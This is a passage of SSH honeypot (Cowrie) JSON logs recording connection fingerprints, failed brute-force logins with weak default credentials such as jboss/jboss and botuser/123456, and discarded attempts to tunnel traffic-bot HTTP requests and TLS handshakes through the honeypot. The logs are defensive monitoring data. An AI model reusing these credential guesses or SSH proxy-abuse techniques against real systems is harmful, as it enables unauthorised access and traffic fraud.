06IacDVqZQuS2XauSlQ4c%2BPHzr0qxtEgfOyWRYQER%2BzaOkPIFrFCb8CvqJgG4%2Fmkq%2FOQ1bubHaLHpkbagBfM3sisiW2df4qFZlAVS%2F7zn3SeT8G9WzZ71SMikVHu8UtpnWVgEd%2BhYiJh2mGflaSMo8NWoBU502cmh%2FtozHxZVZMqRE6XppN6OHuQk9hXpp47bmLNNhk4n6wuYstSLiCzseYd3Iip%2FIeUZmWISyTLQZEnmMwIS8ZGK9kpE%2FC4j1jBas1s9%2B8Vc%2FOJXSVntyg52lOtuY3'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; 1920_20 Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Y04oVGxPK1Q%2Feyg%2FPk91aA%3D%3Dc09OFpeKeVAg0nLjUZ5Jxb3rgnGFxWkZbOZXZ1pgBy2i%2BOBjExv8d80jnKWg5EiS%2FWeHc1yCMcAfGHFIq9mv1nYehOs1lEgmpM2pVv1Xd1IrASf88aqFaY6Wz4zuMjH4ZNLf0LwWWuS67OukUdCBJe4fQ918BdzgkJDmGmIGWWopQg3r0qswhRcPzw%2BXmnIC5Dcljo5dlqxDa6ygxlFwsInxZ%2B5pzU2rYt8x02qDkp3H6e5bFgw2cl3JWuv0xKOfcfFTzrKWtDwWJoqgM7%2Fj2ndv2yURroUOanmbKjOfeihFNQhdQRXKG%2FbEw7gffCckB4yGDyjCDsRxNAVyk27NqaLkIlGt141Gy5vuz5b9ouMgsG56WxMfpXAHuPUCNkOgWQiRlvF4JHsY6cmfkvhAURBEXppyxkJuBRGnWyamMr00D2UOt21OEF6M3q4s2XI5G85aP635cAziD6CoUrjX6l8qXJ%2FaAHyH08fKrQDk4y9g%2F%2F5aHMppEgtFhuio23I3cJob4esbdeEHuYVqiTsEkhPyUxBraao0JXxfV1iv2NqD6n6TaXYk7j6kU3AKzgHfg7yTnUonm4O4In4qRH53RqCn7OZDZGmAwQlfs1vhvyHb19mDZCZ1nYeOnkZeHFLEpDIRwEtI00%2BfUZo%2FX5aTHm1mZSH%2Fb4rc73jD%2FBk%2BrHE8efZCZuiqf5gT7N078liitkq7cNtTfkNgNPvlMxgv06grRDZxC8jg5mXdrlEcjZYV7c%2FiyhvLK4VI5qMEWHZO4Vm10nIVqw6uJnrdcEY0qgv8gqi2X7%2FfmQuHY06IacDVqZQuS2XauSlQ4c%2BPHzr0qxtEgfOyWRYQER%2BzaOkPIFrFCb8CvqJgG4%2Fmkq%2FOQ1bubHaLHpkbagBfM3sisiW2df4qFZlAVS%2F7zn3SeT8G9WzZ71SMikVHu8UtpnWVgEd%2BhYiJh2mGflaSMo8NWoBU502cmh%2FtozHxZVZMqRE6XppN6OHuQk9hXpp47bmLNNhk4n6wuYstSLiCzseYd3Iip%2FIeUZmWISyTLQZEnmMwIS8ZGK9kpE%2FC4j1jBas1s9%2B8Vc%2FOJXSVntyg52lOtuY3'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:36.680437Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:37.456659Z","src_ip":"45.153.34.195","session":"09546f8f0453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:38.253693Z","src_ip":"91.92.40.36","session":"ea5426413371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50660,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f34f8ba15d","protocol":"ssh","message":"New connection: 45.153.34.195:50660 (10.17.0.5:22) [session: c0f34f8ba15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:38.570510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:38.576715Z","src_ip":"45.153.34.195","session":"c0f34f8ba15d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:38.657189Z","src_ip":"45.153.34.195","session":"c0f34f8ba15d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"jboss","message":"login attempt [jboss/jboss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:38.973664Z","src_ip":"45.153.34.195","session":"c0f34f8ba15d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testapp","password":"testapp123","message":"login attempt [testapp/testapp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:40.051313Z","src_ip":"91.92.40.36","session":"0ec04c84f8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:40.057254Z","src_ip":"45.153.34.195","session":"c0f34f8ba15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50666,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc860fc5c380","protocol":"ssh","message":"New connection: 45.153.34.195:50666 (10.17.0.5:22) [session: fc860fc5c380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.260667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.264824Z","src_ip":"45.153.34.195","session":"fc860fc5c380","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.316362Z","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.346035Z","src_ip":"45.153.34.195","session":"fc860fc5c380","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.355591Z","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.368216Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.114 Mobile/16G114 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z05MJGteRCtwK0Q2M0BFXw%3D%3D3EsZDWoFCOSo%2FcNAKHS%2BiUrSn7fprovru6WPG1fYZdltlv0nAsdSViwrk3E3pknBkwUExFrqTEZDwQ5gbWbMpKNnCtpOkm0dcTdRNtSygMTookC5eNiUR%2Fk7eK3j%2FBSYc8CzPBueudo4sqcLe2uXPYv%2FdtneduUhIFa5ZCbqdlWYp9zHA09MkrOd3QZ%2BkXrEHScvDdqnPuwSNPOtC7lpTaHjcYjWLkREjlqP12ANneNA3%2BnCFUgs6doboiZPZ1EUE4Uls%2B7Pn2c3KdBiLABD3zCGHmbR6beTMxKhvRKe616fQF2417xmpMpKQ92a92ArXZDlPYgMmjr8tG59fQCz7U%2FuTbGEqk5821jQNW83dZN3HCzn1vc3CN7W0vUjHclpC7mBQGKJK%2BN%2BI391hLlDG8vMKp%2BoYAJpkXe8rNKYUUlA0g9IavvLgortrB%2FWG0gFkR%2BjCokTSsvFxB2jRXzGWzfd6OfMYqemfiewpb2OPsCEMGqi6y6RutVdox0BQXB4sRJ5ELIFsmw5pQ26h5lIHuNAFltt3%2F5epiP0simodHgetocwB4L4KXf305Ir1h6%2FOEijpETvEg4P1XfDw3aZPK%2Bi4OM%2Fux3l4GAhUgefi4%2Bay8UBMjUZkLO7U%2FEZILxtCsZwaNwu6rNxnbHq0gu9n7C1iixdHFQvtDYz5CqdL%2BZH2Ctt9qj7Q8nTEC0bEBh10fNk1ZzlP%2F2QWF9udDS8hktmgpRpNbyQuo%2FQzkpUfmwGrpGerD9IcU42Ibv5dtQEqOKRCcIWYXh93Cosotz3I3Fie7fzChuDGNcLqNS9YU65R1e8cHhWV7yHxDhxD%2BfKb%2Bt%2BYiYbCvff%2FlIgmO9Eui605gHVYpEoqmM8dZWRS2BBcIwoZWdJZhyiRsijAfzabo%2BigxnUBmW0%2F1nXt8jx%2FSu4AdusZ7NBu4Th6MbPZOzb3zvwAMAs6teCqnOlAm7cmMl544GYHtuczayD77got7VhEw0flLESuOEJrCh3DsZs6iA7l9I7oYMyPd3sQY3CgNUNc9j%2BMPeS1d1e7uIEbF47HigDZrGy2mRvPJnP3QY9MY3NO91mnw5y80DAXmp%2B'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.114 Mobile/16G114 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z05MJGteRCtwK0Q2M0BFXw%3D%3D3EsZDWoFCOSo%2FcNAKHS%2BiUrSn7fprovru6WPG1fYZdltlv0nAsdSViwrk3E3pknBkwUExFrqTEZDwQ5gbWbMpKNnCtpOkm0dcTdRNtSygMTookC5eNiUR%2Fk7eK3j%2FBSYc8CzPBueudo4sqcLe2uXPYv%2FdtneduUhIFa5ZCbqdlWYp9zHA09MkrOd3QZ%2BkXrEHScvDdqnPuwSNPOtC7lpTaHjcYjWLkREjlqP12ANneNA3%2BnCFUgs6doboiZPZ1EUE4Uls%2B7Pn2c3KdBiLABD3zCGHmbR6beTMxKhvRKe616fQF2417xmpMpKQ92a92ArXZDlPYgMmjr8tG59fQCz7U%2FuTbGEqk5821jQNW83dZN3HCzn1vc3CN7W0vUjHclpC7mBQGKJK%2BN%2BI391hLlDG8vMKp%2BoYAJpkXe8rNKYUUlA0g9IavvLgortrB%2FWG0gFkR%2BjCokTSsvFxB2jRXzGWzfd6OfMYqemfiewpb2OPsCEMGqi6y6RutVdox0BQXB4sRJ5ELIFsmw5pQ26h5lIHuNAFltt3%2F5epiP0simodHgetocwB4L4KXf305Ir1h6%2FOEijpETvEg4P1XfDw3aZPK%2Bi4OM%2Fux3l4GAhUgefi4%2Bay8UBMjUZkLO7U%2FEZILxtCsZwaNwu6rNxnbHq0gu9n7C1iixdHFQvtDYz5CqdL%2BZH2Ctt9qj7Q8nTEC0bEBh10fNk1ZzlP%2F2QWF9udDS8hktmgpRpNbyQuo%2FQzkpUfmwGrpGerD9IcU42Ibv5dtQEqOKRCcIWYXh93Cosotz3I3Fie7fzChuDGNcLqNS9YU65R1e8cHhWV7yHxDhxD%2BfKb%2Bt%2BYiYbCvff%2FlIgmO9Eui605gHVYpEoqmM8dZWRS2BBcIwoZWdJZhyiRsijAfzabo%2BigxnUBmW0%2F1nXt8jx%2FSu4AdusZ7NBu4Th6MbPZOzb3zvwAMAs6teCqnOlAm7cmMl544GYHtuczayD77got7VhEw0flLESuOEJrCh3DsZs6iA7l9I7oYMyPd3sQY3CgNUNc9j%2BMPeS1d1e7uIEbF47HigDZrGy2mRvPJnP3QY9MY3NO91mnw5y80DAXmp%2B'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.371801Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.446351Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x034\\x06\\x1a\\x7f\\xe9HY\\x06(\\xad\\x0b&\\xf7\\x82\\xb1\\xc71\\r\\xf8\\x03\\x87'5M\\x8d[\\xd2q\\xe4\\xa7-\\x8d \\x1b\\xd2\\xb0\\xca\\xbd\\xbc\\x0c\\x8e\\x9d\\xb7t0\\xbe\\xb3\\xee\\xc1\\xa8L\\xa5?s\\x15K\\xa8\\x00\\xc6\\xc6\\x08\\x85\\rRV\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbdu5\\x00\\xb0\\x10\\xb1\\x8bA\\x18\\x06\\xf6\\xfc\\xf6z\\xe0\\xae\\xc1\\xd6\\xd8i\\xe0i\\xe0\\x94\\x9a*\\x7f\\xc2'\\r\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x034\\x06\\x1a\\x7f\\xe9HY\\x06(\\xad\\x0b&\\xf7\\x82\\xb1\\xc71\\r\\xf8\\x03\\x87'5M\\x8d[\\xd2q\\xe4\\xa7-\\x8d \\x1b\\xd2\\xb0\\xca\\xbd\\xbc\\x0c\\x8e\\x9d\\xb7t0\\xbe\\xb3\\xee\\xc1\\xa8L\\xa5?s\\x15K\\xa8\\x00\\xc6\\xc6\\x08\\x85\\rRV\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbdu5\\x00\\xb0\\x10\\xb1\\x8bA\\x18\\x06\\xf6\\xfc\\xf6z\\xe0\\xae\\xc1\\xd6\\xd8i\\xe0i\\xe0\\x94\\x9a*\\x7f\\xc2'\\r\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.449787Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123456","message":"login attempt [botuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.591161Z","src_ip":"45.153.34.195","session":"fc860fc5c380","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.772753Z","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.777170Z","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.829036Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd3\\xc6?\\xd9\\xf1\\xff\\xe5OuQ\\x02\\x89V\\xcc\\x0b\\xed\\xcc\\x11En\\x1ay\\x114-:\\x04U\\x8cJP\\xaa ;\\xf7\\x80L\\x18ed\\x0b\\xb8\\x9dV\\xde~\\x17\\xacn\\xb7\\xc1)Fx\\r~a\\xb6u\\x9b\\xf9L \\x91O\\x00 